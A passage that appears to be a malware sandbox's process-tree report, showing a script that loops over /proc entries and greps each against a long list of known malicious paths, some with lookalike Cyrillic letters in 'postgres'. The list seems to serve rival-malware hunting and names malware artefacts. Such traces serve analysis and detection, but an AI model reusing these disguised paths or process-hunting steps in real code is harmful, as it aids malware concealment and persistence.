  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1360
- /bin/grep
  grep -q systemd
  2⤵
  PID:1362
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1364
- /bin/grep
  grep exe
  2⤵
  PID:1367
- /bin/ls
  ls -latrh /proc/738
  2⤵
  PID:1366
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1369
- /bin/grep
  grep -q systemd
  2⤵
  PID:1371
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1376
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1375
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1378
- /bin/grep
  grep -q systemd
  2⤵
  PID:1380
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1382
- /bin/grep
  grep exe
  2⤵
  PID:1385
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1384
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1387
- /bin/grep
  grep -q systemd
  2⤵
  PID:1389
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1391
- /bin/grep
  grep exe
  2⤵
  PID:1394
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1393
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1396
- /bin/grep
  grep -q systemd
  2⤵
  PID:1398
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1400
- /bin/grep
  grep exe
  2⤵
  PID:1403
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1402
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1405
- /bin/grep
  grep -q systemd
  2⤵
  PID:1407
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1409
- /bin/grep
  grep exe
  2⤵
  PID:1412
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1411
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1414
- /bin/grep
  grep -q systemd
  2⤵
  PID:1416
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1418
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1420
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1423
- /bin/grep
  grep -q systemd
  2⤵
  PID:1425
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1427
- /bin/grep
  grep exe
  2⤵
  PID:1430
- /bin/ls
  ls -latrh /proc/80
  2⤵
  PID:1429
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1432
- /bin/grep
  grep -q systemd
  2⤵
  PID:1434
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1436
- /bin/grep
  grep exe
  2⤵
  PID:1439
- /bin/ls
  ls -latrh /proc/81
  2⤵
  PID:1438
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1441
- /bin/grep
  grep -q systemd
  2⤵
  PID:1443
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1445
- /bin/grep
  grep exe
  2⤵
  PID:1448
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1447
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1450
- /bin/grep
  grep -q systemd
  2⤵
  PID:1452
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1454
- /bin/grep
  grep exe
  2⤵
  PID:1457
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1456
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1459
- /bin/grep
  grep -q systemd
  2⤵
  PID:1461
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1463
- /bin/grep
  grep exe
  2⤵
  PID:1466
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1465
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1468
- /bin/grep
  grep -q systemd
  2⤵
  PID:1470
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1472
- /bin/grep
  grep exe
  2⤵
  PID:1475
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1474
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1477
- /bin/grep
  grep -q systemd
  2⤵
  PID:1479
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1481
- /bin/grep
  grep exe
  2⤵
  PID:1484
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1483
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1486
- /bin/grep
  grep -q systemd
  2⤵
  PID:1488
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1490
- /bin/grep
  grep exe
  2⤵
  PID:1493
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1492
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1495
- /bin/grep
  grep -q systemd
  2⤵
  PID:1497
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1499
- /bin/grep
  grep exe
  2⤵
  PID:1502
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1501
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1504
- /bin/grep
  grep -q systemd
  2⤵
  PID:1506
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1508
- /bin/grep
  grep exe
  2⤵
  PID:1511
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1510
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1513
- /bin/grep
  grep -q systemd
  2⤵
  PID:1515
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1517
- /bin/grep
  grep exe
  2⤵
  PID:1520
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1519
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1522
- /bin/grep
  grep -q systemd
  2⤵
  PID:1524
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1526
- /bin/grep
  grep exe
  2⤵
  PID:1529
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1528
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1531
- /bin/grep
  grep -q systemd
  2⤵
  PID:1533
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1535
- /bin/grep
  grep exe
  2⤵
  PID:1538
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1537
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1540
- /bin/grep
  grep -q systemd
  2⤵
  PID:1542
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1544
- /bin/grep
  grep exe
  2⤵
  PID:1547
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1546
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1549
- /bin/grep
  grep -q systemd
  2⤵
  PID:1551
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1553
- /bin/grep
  grep exe
  2⤵
  PID:1556
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1555
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1558
- /bin/grep
  grep -q systemd
  2⤵
  PID:1560
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1562
- /bin/grep
  grep exe
  2⤵
  PID:1565
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1564
- /bin/grep
